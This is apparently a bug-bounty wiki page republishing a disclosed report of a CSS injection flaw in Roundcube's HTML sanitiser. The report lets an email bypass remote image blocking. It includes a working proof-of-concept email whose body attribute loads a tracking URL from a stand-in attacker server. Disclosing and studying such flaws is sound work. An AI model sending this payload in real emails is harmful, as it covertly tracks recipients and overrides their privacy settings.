Skip to content
XSS Disclosed report Intermediate

Unquoted body background attribute enables CSS injection that bypasses remote image blocking

Roundcube's HTML sanitiser builds an inline CSS background-image rule from the email body's background attribute without quoting the value, so a crafted data URI can close the url() early and inject extra CSS. This lets an attacker load external resources such as a tracking pixel even when remote image blocking is enabled.

nullcathedral Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Disclosed after 44 days

When allow_remote is set to false, Roundcube's HTML sanitizer rcube_washtml blocks external resources in image-loading attributes by checking their values through wash_uri().

The body callback in index.php washtml_callback() processes the background attribute from the email's <body> element and constructs an inline CSS background-image: url(VALUE) on the output container <div>. The VALUE is inserted into the url() function without quoting. Although VALUE passes through wash_uri() first (which allows data:image/* URIs), a crafted data: URI containing ) terminates the url() function early, allowing injection of arbitrary CSS properties into the container's inline style.

Because the injected CSS is inline style on the container <div> (not inside a <style> block), it completely bypasses the mod_css_styles() URL callback — meaning injected background:url(//evil.com) or border-image:url(//evil.com) loads external resources even when allow_remote=false.

Steps To Reproduce

Step 1: Remote resource loading bypass

Send an HTML email with the following body:

HTML
<!DOCTYPE html>
<html>
<head><title>Quarterly Report</title></head>
<body background="data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]">
<h1>Q4 Financial Summary</h1>
<p>Dear team,</p>
<p>Please find attached the quarterly financial report.</p>
<p>Best regards,<br>Finance Department</p>
</body>
</html>

Step 2: Open the email in Roundcube with "Block remote images" enabled.

Step 3: Observe HTTP request to ATTACKER_SERVER/[email protected] in attacker's server logs.

Step 4: Inspect the rendered HTML

The sanitizer produces this inline style on the body container <div>:

CSS
background-image: url(data:image/png,x);background:url(//ATTACKER_SERVER/[email protected])

The ) in data:image/png,x) closes the original url(), and everything after is parsed as additional CSS properties.

Impact

email open tracking

The original report as published on HackerOne, by nullcathedral. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could track when a victim opens an email by loading a remote resource despite remote image blocking being enabled.

What the attacker needed

Victim opens the crafted email; remote image blocking enabled

How it was found

  1. Send an HTML email whose body element has a crafted background attribute containing a data URI with a closing parenthesis and extra CSS.
  2. Open the email in Roundcube with remote image blocking enabled.
  3. Watch the attacker server logs for an incoming request.
  4. Inspect the rendered HTML to see the injected inline style on the container div.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you open an email, the mail program tries to stop it contacting outside servers, for example to load pictures, because that can tell the sender you opened it. Roundcube builds a small style rule from a value in the email and does not wrap that value in quotes, so a cleverly crafted value can break out of the rule and add its own. The result is that the email can still make your browser fetch a remote image, revealing that you read it.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by nullcathedral

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.